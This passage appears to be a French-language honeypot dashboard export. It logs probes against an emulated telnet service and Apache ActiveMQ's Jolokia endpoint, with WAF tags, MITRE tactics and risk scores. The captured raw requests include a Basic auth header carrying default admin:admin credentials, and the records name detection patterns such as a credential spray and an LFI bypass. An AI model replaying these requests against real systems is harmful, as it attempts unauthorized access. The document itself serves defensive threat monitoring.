"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "telnet",
"service_banner": "honeypot-telnet",
"service_os": "linux",
"dst_port": "23"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_telnet_probe",
"telnet_emulated"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
